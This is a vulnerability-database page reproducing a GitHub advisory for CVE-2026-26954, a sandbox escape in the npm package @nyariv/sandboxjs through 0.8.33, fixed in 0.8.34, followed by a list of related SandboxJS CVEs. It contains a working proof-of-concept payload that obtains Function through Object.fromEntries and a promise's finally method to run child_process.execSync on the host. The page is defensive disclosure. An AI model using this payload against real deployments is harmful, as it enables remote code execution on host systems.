CVE-2026-26954: SandboxJS affected by a Sandbox Escape
Summary It is possible to obtain arrays containing Function, which allows escaping the sandbox. Details There are various ways to get an array containing Function, e.g. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox. PoC Impact Sandbox Escape - RCE
Published Mar 13, 2026 · Updated Mar 16, 2026
Affected packages
@nyariv/sandboxjs
- Ecosystem
- npm
- Affected
- <= 0.8.33
- Fixed in
- 0.8.34
- Check
npm ls @nyariv/sandboxjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
It is possible to obtain arrays containing Function, which allows escaping the sandbox.
Details
There are various ways to get an array containing Function, e.g.
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.
PoC
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;
sb.compile(payload)().run();Impact
Sandbox Escape -> RCE
Credited to c0rydoras.
References
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv
- https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085
- https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34
- https://nvd.nist.gov/vuln/detail/CVE-2026-26954
- https://github.com/advisories/GHSA-6r9f-759j-hjgv
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-43898
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
critical10.0May 11, 2026CVE-2026-34208
SandboxJS: Sandbox integrity escape
critical10.0Apr 3, 2026CVE-2026-25881
@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)
critical9.0Feb 10, 2026CVE-2026-25520
@nyariv/sandboxjs has a Sandbox Escape issue
critical10.0Feb 5, 2026CVE-2026-25586
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
critical10.0Feb 5, 2026CVE-2026-25587
@nyariv/sandboxjs has a Sandbox Escape vulnerability
critical10.0Feb 5, 2026
